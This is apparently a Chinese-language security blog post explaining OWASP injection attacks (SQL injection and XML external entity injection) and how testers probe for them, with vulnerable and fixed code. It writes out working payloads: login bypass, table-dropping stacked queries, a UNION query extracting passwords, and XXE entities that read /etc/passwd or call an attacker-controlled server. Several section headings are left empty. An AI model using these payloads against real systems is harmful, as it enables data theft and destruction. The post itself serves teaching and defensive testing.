瓜瓜
瓜瓜
发布于 2022-04-01 / 22 阅读
0
0

OWASP Top1 --Injection Attacks

根据最新的统计,注入攻击依旧占据榜首。原因是多样的,比如技术复杂性与遗留系统,开发人员安全意识不强,注入攻击带来的印象范围广泛,攻击手段多样且隐蔽等。今天的文章中我们会详细讨论关于注入攻击的种类,如何测试注入攻击。

(一) 注入攻击的本质

注入攻击的本质是: 将用户的输入数据当作代码执行。因此实现注入攻击的关键条件有两个,一是用户能控制输入,二是可执行的代码拼接了用户输入。

(二) 注入攻击的种类

SQL 注入

1.SQL注入的定义

SQL 注入是一种代码注入技术,攻击者通过将恶意的 SQL 语句插入到应用程序的输入或数据平面中,利用应用程序对用户输入数据的不恰当处理,欺骗后台数据库执行非预期的 SQL 命令。总之,SQL注入是通过拼接用户输入可能造成数据丢失、损坏,甚至可能获取数据库的控制权等严重问题。

2.SQL注入的原理

正常的 SQL 查询过程:在一个正常的应用程序与数据库交互场景中,例如用户登录功能,应用程序会接收用户输入的用户名和密码,然后构建一个 SQL 查询语句来验证用户身份,如

SELECT * FROM users WHERE username = 'user_input_username' AND password = 'user_input_password'

这里user_input_username和user_input_password是用户在登录界面输入的内容,应用程序会将这些输入嵌入到 SQL 查询语句中,然后发送给数据库执行。

注入点与攻击方式:当应用程序没有对用户输入进行充分的验证和过滤时,攻击者就可以在输入字段中注入恶意的 SQL 语句。例如,在用户名输入框中输入' OR 1 = 1 --,此时完整的 SQL 查询语句就会变成

SELECT * FROM users WHERE username = '' OR 1 = 1 --' AND password = 'user_input_password'

在这个语句中,--是 SQL 中的注释符号,它后面的内容会被数据库忽略,而OR 1 = 1这个条件总是为真,所以攻击者就可以绕过密码验证直接登录系统

3.SQL注入出现的情况

- 用户输入验证缺失或不足

当应用程序直接将用户输入(如表单数据、查询字符串等)嵌入到 SQL 查询语句中,而没有对输入进行严格的格式检查、数据类型验证和恶意内容过滤时,就容易出现 SQL 注入。例如,一个简单的搜索功能,用户在搜索框中输入的内容直接拼接在SELECT * FROM products WHERE product_name LIKE '%user_input%'这样的 SQL 语句中,没有对输入进行验证。

- 动态 SQL 构建不当****:

在一些复杂的应用程序中,会根据不同的条件动态构建 SQL 语句。如果在这个过程中没有正确地处理用户输入,就会产生 SQL 注入漏洞。例如,根据用户权限动态构建查询语句时,错误地将用户输入的权限级别直接拼接在 SQL 语句中,如SELECT * FROM data WHERE user_level = 'user_input_level',没有对user_input_level进行验证。

- 数据库错误信息过度暴露

如果数据库返回的错误信息包含了详细的查询细节,攻击者可以利用这些信息来了解数据库结构和查询逻辑,从而更容易地进行 SQL 注入攻击。例如,当输入一个错误的 SQL 语法导致数据库返回包含表名、列名等详细信息的错误消息时,攻击者就可以根据这些信息来构造更精准的注入语句。

4.SQL注入案例讲解

比如下面这个例子,是一个典型的SQL注入案例:

var city;

city = request.from("city")

var sql = select * from ordertable where city = ' "+city + " ';

上述代码中 city 变量的值来源于用户输入,正常情况下用户可能会输入**ShangHai**,那么上述代码执行后会查询到对应城市的信息。 但是,如果用户输入的是一段有语义的SQL 语句:

```

ShangHai'; drop table ordertable--

```

那么在执行代码后,ordertable 表将会被删除。那么,这将导致产品数据丢失。

XML 注入

1. XML 注入的定义

XML(可扩展标记语言)注入是一种攻击方式,攻击者通过向 XML 数据中注入恶意内容,干扰 XML 解析器的正常工作,从而达到获取敏感信息、执行恶意代码、篡改数据等目的。这种攻击利用了 XML 解析过程中对外部输入验证不足的漏洞。

2. XML 注入的原理

正常情况下,XML 文档有严格的语法和结构规则。但是,如果应用程序在处理用户输入的 XML 数据时没有进行适当的验证和过滤,攻击者就可以将恶意构造的 XML 片段注入其中。例如,在一个基于 XML 的配置文件系统中,用户可以提交一些配置信息,这些信息会被组合到一个 XML 文件中。如果攻击者在输入中添加了额外的 XML 元素或者修改了现有元素的属性,并且这些输入没有被正确处理,就可能导致 XML 注入。

3. XML注入出现的情况

- 数据来源不可信且未经严格验证

当应用程序接收来自不可信赖数据源的数据,如用户输入、外部接口数据等,并且在将这些数据写入 XML 文档或进行 XML 解析前,未对数据进行严格的验证、过滤和转义处理,就容易出现 XML 注入

- 使用存在安全隐患的 XML 解析库或版本

若应用程序所使用的 XML 解析库存在漏洞, 如 libxml 2.9 及以前的版本默认支持并开启了外部实体的引用,且在解析 XML 时未对外部实体进行合适处理,就可能导致 XML 注入.

- 错误的 XML 配置或使用不当

当 XML 文档的配置允许引用外部实体,且在使用过程中对外部实体的来源和内容未做限制时,攻击者可构造恶意的外部实体引用发动攻击。如在使用 xinclude 功能时,若未对包含的文件来源进行严格限制,攻击者可借此读取服务器上的敏感文件.

4. XML注入案例讲解

接下来我将给大家用一个经典案例来说明XML 注入:

背景:在某一个在线内容发布系统中,有某个内容输入框没有对有一个在线新闻发布系统,它允许记者(经过认证的用户)通过 Web 界面提交新闻内容。新闻内容以 XML 格式存储在服务器上,用于后续的发布、编辑和管理。系统使用了一个自定义的 XML 模板来构建新闻文档,其中包含标题、作者、内容等元素。

攻击过程

注入点发现:攻击者(可能是一个恶意的外部用户或者内部的恶意攻击者)注意到新闻内容输入框没有对输入的内容进行严格的 XML 验证。这个输入框本应只接受纯文本格式的新闻内容,但实际上它直接将输入的内容嵌入到了 XML 文档的content元素中。

构造恶意 XML 注入代码:攻击者构造了以下恶意内容并作为新闻内容输入:

<?xml version="1.0" encoding="UTF - 8"?>

<!-- DOCTYPE 定义了一个名为 “root” 的文档类型(这个 “root” 是自定义的一个文档类型名称,在实际解析中起到标识作用 -->

<!-- ENTITY 定义了一个名为 “xxe” 的实体(“xxe” 同样是自定义的名称,方便后续引用这个实体)-->

<!DOCTYPE root [

<!ENTITY xxe SYSTEM "file:///etc/passwd">

]>

<!-- SYSTEM "file:///etc/passwd 表示这个实体是指向外部系统文件 -->

<news>

<title>虚假新闻标题</title>

<author>攻击者</author>

<content>&xxe;</content>

</news>

在 XML 文档主体部分,也就<content>&xxe;</content>这里:

&xxe;是对前面定义的名为 “xxe” 的实体的引用。正常情况下,当一个符合规范的 XML 解析器去解析这份 XML 文档时,它会按照文档类型定义(DOCTYPE)里设定的规则,尝试去获取并解析这个被引用的外部实体(也就是去读取 “file:///etc/passwd” 这个文件)。

如果应用程序对接收的 XML 数据没有进行严格的安全防范措施,比如没有限制外部实体的引用或者对这种特殊的构造进行验证过滤,那么当解析这段注入了恶意代码的 XML 文档时,解析器就会真的去读取 “/etc/passwd” 文件内容,并将其作为这个<content>元素的值进行处理,从而导致敏感信息被泄露出来。攻击者就可以借此获取服务器上的关键用户账户信息等内容,进一步利用这些信息实施更多恶意行为,比如尝试进行密码破解、权限提升等攻击活动,这也就实现了通过 XML 注入来获取敏感信息的目的。

代码 注入

CRLF注入

(三) 如何测试注入攻击?

SQL 注入的测试

1. 手动检测方法

基于错误信息的检测

原理:当应用程序对用户输入处理不当,且数据库返回错误信息时,这些错误信息可能会暴露数据库的相关细节,从而帮助检测 SQL 注入漏洞。

操作方法:在输入框(如登录用户名、密码框,搜索框等)中输入一些可能引发数据库错误的特殊字符,例如单引号(')、双引号(")、分号(;)等。如果应用程序返回包含数据库错误消息(如 MySQL 的 “SQL syntax error”)的页面,这可能是一个潜在的 SQL 注入点。例如,在一个登录页面的用户名输入框中输入 “' or 1=1 -- ”,如果出现错误或者成功绕过登录验证,就可能存在 SQL 注入漏洞。

逻辑验证检测

原理:通过构造 SQL 注入语句来改变原有 SQL 查询的逻辑,以此来验证是否存在 SQL 注入漏洞。

操作方法:针对具有查询功能的输入框,尝试输入一些 SQL 逻辑操作语句。例如,在一个产品搜索框中输入 “产品名称 ' UNION SELECT user_password FROM users --”(假设存在名为 “users” 的用户表,且包含 “user_password” 字段),如果页面返回了用户密码等敏感信息,那么就存在 SQL 注入漏洞。

检查输入验证机制

确认代码中是否有对用户输入进行充分的验证和过滤。例如,检查是否有验证用户输入是否符合预期的数据类型(如数字、日期等)、长度限制,以及是否过滤了可能导致 SQL 注入的特殊字符(如单引号、双引号、分号等)。如果没有这些验证机制或者验证机制不健全,那么可能存在 SQL 注入风险。

例如:在用户输入邮箱时,必须要求用户严格按照邮箱格式进行输入。在测试中需要检查该输入项是否有数据格式的验证。如果没有,可以尝试是否能创造出SQL注入的情况。

在这里我再次给出一个案例:

def register():

# 获取用户从表单输入的邮箱(假设这是唯一输入字段,实际可能还有密码等更多字段)

email = request.form.get('email')

mycursor = mydb.cursor()

# 构造SQL插入语句,直接将用户输入的邮箱拼接到SQL语句中,此处未对输入做严格验证

sql = "INSERT INTO users (email) VALUES ('" + email + "')"

mycursor.execute(sql)

mydb.commit()

return "注册成功"

在上述代码中,并未对用户的输入进行 邮箱格式的要求,因此 如果用户在输入框中 输入:

test@example.com'); DROP TABLE users; --

那么, 代码在执行数据库插入邮箱逻辑时,真正被执行的SQL会变成:

INSERT INTO users (email) VALUES ('test@example.com'); DROP TABLE users; --')

因此,对于用户输入的部分,我们需要重点关注 开发人员是否对数据格式进行了校验,包括但不限于邮箱格式,时间/日期格式等等。另外,我们也可以关注 在代码中的SQL语句是否对用户输入进行了参数化。参数化用户输入可以使代码更加完善,能有效地防止 SQL 注入攻击。

那么正确防范上述案例中的SQL注入时,我们可以将代码修改为:

def register():

# 获取用户从表单输入的邮箱(假设这是唯一输入字段,实际可能还有密码等更多字段)

email = request.form.get('email')

# 使用正则表达式验证邮箱格式

if not re.match(r"[^@]+@[^@]+\.[^@]+", email):

return "请输入正确的邮箱格式", 400

mycursor = mydb.cursor(prepared=True)

# 使用参数化查询,将用户输入作为参数传递,而不是直接拼接在SQL语句中

sql = "INSERT INTO users (email) VALUES (%s)"

mycursor.execute(sql, (email,))

mydb.commit()

return "注册成功"

2. 自动化安全测试工具

3. 代码审查

XML 的注入的测试

1. 手动安全测试

- 构造恶意 XML 数据进行测试

测试外部实体引用注入:手动构造包含外部实体引用的 XML 数据,如

<?xml version="1.0" encoding="UTF - 8"?>

<!DOCTYPE root [

<!ENTITY xxe SYSTEM "file:///etc/passwd">

]>

<root><data>&xxe;</data></root>

将其作为输入发送到应用程序的 XML 输入接口,包括但不限于配置文件上传接口、数据提交接口等。如果应用程序返回了/etc/passwd文件的内容或者出现异常,可能存在 XML 外部实体注入漏洞。

测试不同协议的外部实体引用:除了本地文件系统(file://)协议,还可以尝试构造引用其他协议的外部实体,如 HTTP 或 HTTPS 协议

<?xml version="1.0" encoding="UTF - 8"?>

<!DOCTYPE root [

<!ENTITY xxe SYSTEM "http://attacker - controlled - server/xml - payload">

]>

<root><data>&xxe;</data></root>

如果应用程序能够解析并访问攻击者控制的服务器上的内容,可能存在安全风险,因为攻击者可能借此传输恶意代码或获取敏感信息。

- 边界值测试

特殊字符和标签测试:对可能触发 XML 解析异常的特殊字符进行测试,如<!DOCTYPE>、<!ENTITY>、&(实体引用开始符号)等。在输入框中分别输入这些特殊字符,观察应用程序的反应。例如,在一个 XML 数据输入框中输入<!DOCTYPE,如果应用程序返回详细的错误信息暴露了 XML 解析细节,可能有助于攻击者进一步利用漏洞。

超长 XML 数据测试:输入超长的 XML 数据,观察应用程序是否能够正确处理。因为过长的 XML 数据可能导致缓冲区溢出或其他解析错误,从而暴露出潜在的安全问题。例如,构造一个包含大量重复元素的 XML 数据,长度超过应用程序预期的处理能力,检查是否会出现系统崩溃或异常信息。

2. 自动化安全测试工具

3. 代码审查

总结

注入攻击是由于程序的设计和编写中违背了”数据与代码分离的原则“导致的结果。因此在测试和修复注入式攻击时,我们需要牢记”数据与代码分离的原则“,在拼接数据的位置提高警惕,那我们在极大程度上就能避免此类问题。


评论